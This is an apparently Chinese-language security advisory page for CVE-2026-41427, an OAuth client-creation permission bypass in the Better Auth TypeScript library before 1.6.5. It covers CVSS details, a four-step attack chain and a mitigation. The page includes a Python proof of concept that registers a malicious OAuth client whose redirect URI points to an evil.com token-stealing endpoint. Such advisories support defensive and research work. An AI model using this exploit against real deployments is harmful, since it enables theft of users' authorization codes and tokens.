IPBUF安全漏洞报告
English
CVE-2026-41427 CVSS 6.5 中危

CVE-2026-41427 Better Auth权限绕过漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41427
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Better Auth

相关标签

权限绕过OAuthBetter AuthCWE-284TypeScript

漏洞概述

Better Auth是一个用于TypeScript的身份验证和授权库。在1.6.5版本之前,尽管配置了clientPrivileges选项来限制OAuth客户端注册,但实际的OAuth客户端创建端点在持久化新客户端之前并未调用相应的钩子进行检查。这导致配置的限制失效,任何经过身份验证的用户都可以访问创建端点,并注册包含攻击者选择的重定向URI和元数据的OAuth客户端。

技术细节

该漏洞源于Better Auth在处理OAuth客户端创建逻辑时未能正确执行访问控制检查。虽然clientPrivileges选项文档中描述了create动作用于限制注册,但后端代码实现存在缺陷,未在将新客户端数据持久化到数据库之前触发该安全钩子。因此,系统预期的安全策略被绕过。攻击者只需拥有低权限账户(PR:L),即可直接调用API创建恶意OAuth客户端。由于系统允许自定义重定向URI,攻击者可以利用此漏洞设置恶意的回调地址,进而利用OAuth流程窃取授权码或令牌,对系统完整性造成严重影响(I:H)。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者在Better Auth应用中注册一个普通用户账户,获取有效的会话凭证。
STEP 2
步骤2:绕过限制创建客户端
攻击者利用漏洞,直接向OAuth客户端创建端点发送请求,在请求体中注入恶意的redirect_uris,此时系统因未调用clientPrivileges钩子而允许创建。
STEP 3
步骤3:诱导授权
攻击者诱导合法用户点击链接,对恶意创建的OAuth客户端进行授权。
STEP 4
步骤4:窃取令牌
授权完成后,应用将授权码或访问令牌重定向到攻击者控制的redirect_uri,导致令牌泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Better Auth OAuth Client Creation Bypass # Description: Creates a malicious OAuth client by bypassing clientPrivileges checks. target_url = "https://target-domain.com/api/oauth/client/create" attacker_controlled_redirect = "https://evil.com/steal_token" # Attacker's session cookie (low privilege user) cookies = { "better-auth.session_token": "attacker_low_privilege_token" } # Payload to create a malicious client with arbitrary redirect URI payload = { "name": "Fake App", "redirect_uris": [attacker_controlled_redirect], "scopes": ["read", "write"] } try: response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] PoC Successful: Malicious OAuth client registered.") print(f"[+] Client ID: {response.json().get('client_id')}") else: print(f"[-] PoC Failed: Status {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Better Auth < 1.6.5

防御指南

临时缓解措施
如果无法立即升级,建议在网络层限制对OAuth客户端创建端点的访问权限,仅允许受信任的管理员IP访问;或者临时禁用用户自行注册OAuth客户端的功能,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表